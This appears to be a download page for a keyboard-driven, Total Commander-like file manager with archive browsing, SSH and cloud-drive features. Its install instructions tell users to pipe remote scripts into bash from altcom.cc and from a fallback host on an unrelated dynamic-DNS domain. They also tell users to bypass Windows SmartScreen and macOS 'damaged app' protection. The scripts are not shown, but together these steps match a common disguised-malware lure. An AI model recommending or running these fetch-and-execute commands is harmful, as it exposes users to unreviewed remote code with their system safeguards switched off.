The classic two-panel file manager,
rebuilt for today

Fast, keyboard-first and free. Browse archives like folders, connect Google Drive, Dropbox, Synology NAS and SSH servers as ordinary disks, on Windows, macOS and Linux.

Download for Windows (103 MB, no installation) Source code on GitHub

Windows 10/11 (64-bit) and macOS. The apps are not code-signed: on Windows choose "More info" → "Run anyway" if SmartScreen warns you; on a Mac the easiest way is one command in Terminal (it also avoids the "Commander is damaged" message):

curl -fsSL https://altcom.cc/install-mac.sh | bash

Second site (if the first one does not answer):

curl -fsSL https://total.gieldowa.keenetic.link/install-mac.sh | bash

Linux (Ubuntu and others, x86_64): one command in the terminal installs the program into ~/Applications and adds it to the menu, or download the AppImage and make it executable:

curl -fsSL https://altcom.cc/install-linux.sh | bash

Second site (if the first one does not answer):

curl -fsSL https://total.gieldowa.keenetic.link/install-linux.sh | bash

Download for Linux (AppImage, 139 MB)
Two file panels showing project and document folders

Everything a power user expects

If you know Total Commander, your fingers already know this.

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Keyboard first

F3 view, F4 edit, F5 copy, F6 move, F7 new folder, F8 delete. Tabs, hotlist, quick view and drive switching with Alt+F1 / Alt+F2.

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Archives as folders

Open zip, 7z, tar and cab files like directories. Edit zip files in place, even on a remote server.

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Search, compare, sync

Find files by name and content, compare two folders and synchronise them, rename hundreds of files at once.

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Built-in viewer and player

Text, hex, images, PDF, video and audio, including FLAC, MP3 and WAV. ffmpeg is included for formats browsers cannot play.

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SSH console and SFTP

Connect to a server, work in a real terminal and drop a file name onto the other panel to copy it.

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Windows and macOS

One codebase for both. Standard folders and network drives appear in the drive list.

Cloud drives with one button

No client software and no technical setup.

  1. Open Net → Google Drive or Dropbox.
  2. Press Sign in. Your browser opens.
  3. Choose your account and press Allow. That is all.

Files go directly between your computer and the service. Nothing passes through our servers, and the login is stored encrypted by your operating system. Read the privacy policy.

Google Drive sign-in window with a single Sign in with Google button

Handy shortcuts

A few of the keys you will use every day.

Tab switch panel
Ctrl+T new tab
Alt+F7 search
Ctrl+D hotlist
Ctrl+Q quick view
Ctrl+M multi-rename
Ctrl+F Synology NAS
Ctrl+O SSH console / list